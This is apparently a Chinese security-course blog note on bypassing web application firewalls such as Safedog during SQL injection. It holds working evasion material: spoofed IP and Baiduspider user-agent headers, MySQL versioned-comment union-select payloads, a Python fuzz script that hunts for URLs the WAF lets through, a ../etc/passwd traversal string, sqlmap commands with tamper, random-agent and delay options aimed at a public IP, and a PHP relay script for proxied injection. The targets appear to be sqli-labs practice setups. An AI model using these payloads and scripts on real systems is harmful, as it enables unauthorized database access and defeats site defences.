《小迪安全》第19天 SQL注入:WAF注入(续

目录

白名单绕过的几种方式

方式一:IP白名单

方式二:通过把Payload伪装成静态资源的参数绕过

方式三:url白名单

方式四:爬虫白名单

mysql特性之/!*50001/

结合上述mysql特性编写Fuzz脚本尝试绕过

sqlmap & Waf 孰强孰弱

sqlmap脑洞一下

类似第17天提及的中转注入


攻防实战中需要多加掌握各构件特性(不同数据库特性、不同Waf软件特性、不同服务器特性、应用层),以构造更灵活精准的payload,从而绕过各种Waf,进行漏洞利用。

白名单绕过的几种方式

方式一:IP白名单

实战意义不大,前置条件过多(怎么获取目标的IP白名单列表?怎么确定目标数据包的接受方式?)或者可以伪造目标的IP造成自己访问自己的假象,看是否会被拦截。

X-forwarded-for

X-remote-ip

X-originating-ip

X-remote-addr

X-Real-ip

方式二:通过把Payload伪装成静态资源的参数绕过

静态资源:.js .jpg .txt .swf .css等,把payload伪装成参数拼接在这样的静态资源后面,也许可以成功绕过。

http://10.9.9.201/sql.php?id=1 and 1=1

http://10.9.9.201/sql.php/1.js?id=1

http://10.9.9.201/index.php/1.txt?id=1

Aspx/php 只识别到前面的.aspx .php 后面基本不识别

方式三:url白名单

为防止误报拦截,部分waf会内置类似的白名单列表,如admin/manager/system等管理后台,只要url中存在白名单内的字符串就不予拦截。

http://10.9.9.201/admin.php?id=1

http://10.9.9.201/sql.php?a=/manage/&b=../etc/passwd

http://10.9.9.201/../../../manage/../sql.asp?id=1

Waf只要url中有/manage/可能就认为是白名单不予拦截。

方式四:爬虫白名单

部分waf有提供爬虫白名单的功能,识别爬虫的技术一般有两种:1.根据UserAgent;2.通过行为来判断。

useragent可以很容易欺骗,我们可以伪装成爬虫尝试绕过。

User Agent Switcher (Firefox 附加组件)

下载地址: https://addons.mozilla.org/en-Us/firefox/addon/user-agent-switcher/

安全狗有爬虫白名单,这种情况下伪装成白名单内的User-agent可能就可以伪装payload成功绕过,下为python代码示例,这里是伪装成了百度爬虫,ph1p.txt是payload字典:

哪怕请求频率很高,因为在白名单,没有被WAF拦截,网页正常显示,并且文件探测结果也是正确的(200、404)。如果触发关键字,waf就认作是搜索引擎的爬虫

mysql特性之/!*50001/

/*!50001 select * from test */; 
这里的50001表示:假如数据库是5.00.01以上版本,该语句才会被执行。

%20union%20/*!44509select*/%201,2,3 
/*!44509select*/:通过插入版本号(4.45.09), 绕过检测机制

%20/*!44509union*/%23x%0aselect%201,2,3
id=1/**&id=-1%20union%20select%201,2,3%23*/ 特殊符号
%20union%20all%23%0a%20select%201,2,3%23

结合上述mysql特性编写Fuzz脚本尝试绕过

import requests, time

url='http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1'

union='union'
select='select'

num='1, 2, 3'

a=['%0a','%23']    # 干扰字符
aa=['x']            # 干扰字符
aaa=['%0a','%23']    # 干扰字符
b='/*!'
c='/!'


def bypass():
    for i in a:
        for j in aa:
            for k in aaa:
                for two in range(44500,44600) :    # 当前版本最高编号
                    urls = url + i + j + k + b + str(two) + union + c + i + j + k + select + i + j + k + num
                    try:
                        result = requests.get(urls).text
                        len_r = len(result)
                        if(result.find('safedog') == -1):
                            print('bypass url address: ' + urls + '|' + str(len_r))
                            if len_r == 715:
                                fp = open('url.txt', 'a+')
                                fp.write(urls + '\n')
                                fp.close()
                    except Exception as err:
                        print('connection error')
                        time.sleep(0.1)

if __name__ == '__main__':
    print('fuzz started')
    bypass()

sqlmap & Waf 孰强孰弱

没开安全狗,sqlmap是正常跑的;打开安全狗,sqlmap因为跑完一次就有注入点的缓存文件,没有被拦截,但把缓存(ip地址命名的文件夹)一删,再跑就被拦截了。

实战中必须用到工具,如何利用工具的同时还能避开Waf?需要用到sqlmap特有的自带的插件库 tamper

参考:http://t.csdnimg.cn/1Q6WN

参考:http://t.csdnimg.cn/C0yn3

脚本都是绕过CTF的一些规则,不是绕过市面上Waf的。。

自己模仿tamper中现成的.py文件尝试写绕过脚本也大概就是这样,修改一下payload处的写法,把你曾经用过的、见过的、知道有用的一些payload写进脚本,疯狂滴替换。。

可以开启代理再开启burpsuite看一下sqlmap的数据包是怎么写的,进行分析:

F:\Tools\sqlmapproject-sqlmap>python sqlmap.py -u "http://39.96.44.170/sqlilabs/Less-2/?id=1" --tamper=xxx.py --proxy=http://127.0.0.1:8888

抓到第一个数据包长这样:注意到 User-Agent:sqlmap/1.4.7.5#dev(http://sqlmap.org)

打开网站安全狗看防护日志,看到此条拦截及其原因:HTTP头部含有sqlmap/1.4.7.5#dev(http://sqlmap.org),那就改这里就好了,加上 --random-agent 是sqlmap自带的随机头部代理。

结合抓包可以对注入失败进行有效分析。

F:\Tools\sqlmapproject-sqlmap>python sqlmap.py -u "http://39.96.44.170/sqlilabs/Less-2/?id=1" --tamper=xxx.py --proxy=http://127.0.0.1:8888 --random-agent

结合上述爬虫白名单,还可以改成baiduspider的user-agent: --user-agent="Mozilla/5.0(compatible;Baiduspider/2.0;+http://www.baidu.com/search/spider.html)"

F:\Tools\sqlmapproject-sqlmap>python sqlmap.py -u "http://39.96.44.170/sqlilabs/Less-2/?id=1" --tamper=xxx.py --proxy=http://127.0.0.1:8888 --user-agent="Mozilla/5.0(compatible;Baiduspider/2.0;+http://www.baidu.com/search/spider.html)"

如果请求过快被拦截,可以加上 delay 1 隔1秒发1次数据包:

F:\Tools\sqlmapproject-sqlmap>python sqlmap.py -u "http://39.96.44.170/sqlilabs/Less-2/?id=1" --tamper=xxx.py --proxy=http://127.0.0.1:8888 --delay 1

还有一种比较复杂的就是代理池,拦截一个IP换一个IP,要用Python写一个代理池抓取,再实现注入,网上也有批量抓代理池的工具

工具拦截处也有对sqlmap、穿山甲、nmap工具的拦截规则:

sqlmap脑洞一下

刚刚Sqlmap工具之所以被拦截是因为数据包的User-Agent部分有指纹头,安全狗匹配到。通过 --random-agent 命令参数成功规避。

如果、假设,指纹头出现在数据包别的地方,别的sqlmap不能通过启动时的参数设置修改的地方,比如Accepted-decoding,但注入语句只在头部 GET /sqlilabs/Less-2/?id=... 出现,如何批量生成可以绕过数据包内部(比如Accepted-decoding处)检测的payload数据包?

只能自己写【中转脚本】或者把注入语句写到txt里跑。

新建3.txt把数据包写好(此处更换了baiduspider的user agent)放到sqlmap目录下再启动sqlmap,注明参数 --r 3.txt:即以数据包的形式发送 3.txt 里的内容。

python sqlmap.py -r 3.txt --tamper=xxx.py --proxy=http://127.0.0.1:8888 --tables

同理,要改哪就在 3.txt 里改就完事了,改其他地方(Accept、Accept-Encoding、……)

类似第17天提及的中转注入

参考:http://t.csdnimg.cn/RJ6P6

参考:http://t.csdnimg.cn/PaYxz

示例脚本:

<?php
$url='http://xxxx/job_bystjb/yjs_byszjs.asp?id=';
$payload=base64.encode($_GET['x']) 
echo $payload;
$urls=$url.$payload;
file_get_contents($urls);
echo $urls;
?>
  1. sqlmap注入本地搭建的服务器中转脚本
  2. 中转脚本只做一件事,接收sqlmap注入过来的payload,并根据代码配置进行自定义修改
  3. 将payload与目标地址进行拼接请求该远程URL
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值